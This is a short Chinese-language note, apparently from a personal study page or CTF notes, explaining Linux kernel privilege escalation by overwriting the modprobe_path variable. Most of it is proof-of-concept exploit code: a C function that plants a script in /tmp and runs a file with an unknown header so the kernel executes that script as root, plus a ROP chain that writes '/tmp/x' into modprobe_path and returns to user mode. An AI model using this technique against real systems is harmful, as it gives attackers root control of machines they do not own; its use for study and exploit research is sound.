覆写modprobe_path提权原理

覆写modprobe_path提权原理

Created
Jan 6, 2022 08:19 AM
Tags
Linux Kernel Exploit

modprobe

modprobe是一个Linux程序,路径是/proc/sys/kernel/modprobe,在内核中用于添加模块和卸载模块。默认路径是/sbin/modprobe,该字符串存放在内核内存中的modprobe_path全局变量中
➜  cat /proc/sys/kernel/modprobe              
/sbin/modprobe
 
该全局变量位于一个可读可写的内存页中,可以通过读取/proc/kallsyms得到它的地址
 
巧妙的是,当执行一个未知类型的文件时,系统将调用modprobe_path中存储的路径的文件,并且是以root用户来执行,所以当我们覆盖modprobe_path为可控文件时,就可以以root用户来执行任意命令
 
poc:
void get_flag(void){
    puts("[*] Returned to userland, setting up for fake modprobe");
    
    system("echo '#!/bin/sh\nid>/tmp/wxm' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/radish");
    system("chmod +x /tmp/radish");

    puts("[*] Run unknown file");
    system("/tmp/radish");

    puts("[*] Hopefully flag is readable");
    system("cat /tmp/wxm");

    exit(0);
}
//rop
rop[i++]=pop_rax;
    rop[i++]=0x782f706d742f;
    rop[i++]=pop_rbx;
    rop[i++]=modprobe_path;
    rop[i++]=0;
    rop[i++]=0;
    rop[i++]=write_rbx_pp_ret;
    rop[i++]=0;
    rop[i++]=0;
    rop[i++]= swapgs_ret;
	rop[i++]= iretq;
    rop[i++] = get_flag;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;